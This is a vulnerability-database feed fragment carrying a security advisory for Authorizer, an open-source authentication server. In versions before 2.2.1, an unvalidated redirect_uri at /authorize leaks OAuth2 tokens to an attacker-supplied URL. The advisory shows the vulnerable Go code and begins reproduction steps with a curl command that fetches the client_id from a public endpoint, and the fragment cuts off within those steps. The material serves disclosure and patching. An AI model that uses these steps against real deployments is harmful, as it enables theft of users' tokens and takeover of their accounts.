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  <updated>2026-09-29T19:38:58.679957+00:00</updated>
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  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-54072</id>
    <title>fkie_cve-2026-54072</title>
    <updated>2026-09-29T19:38:58.681084+00:00</updated>
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        <p>Authorizer is an open-source, self-hostable authentication and authorization server. Prior to version 2.2.1, the `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. A partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. Version 2.2.1 contains a more complete fix.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-54072"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-h29v-hj44-q8cv</id>
    <title>GHSA-h29v-hj44-q8cv — Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL</title>
    <updated>2026-09-29T19:38:58.681150+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/authorizerdev/authorizer</p>
<p>## Summary</p>
<p>The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint.</p>
<p>Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included.</p>
<p>## Vulnerable Code</p>
<p>`internal/http_handlers/authorize.go`:</p>
<p>```go
redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
// ... no IsValidOrigin() call ...
// response_type=token path (line ~263):
if strings.Contains(redirectURI, "?") {
    redirectURI = redirectURI + "&amp;" + params
} else {
    redirectURI = redirectURI + "?" + params
}
handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL
```</p>
<p>Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`.</p>
<p>## Steps to Reproduce</p>
<p>```bash
# 1. Obtain client_id (no authentication required)
CLIENT_ID=$(curl -s http://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")</p>
<p>echo "client_…</p></div>
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    <link href="https://vulnerability.circl.lu/vuln/ghsa-h29v-hj44-q8cv"/>
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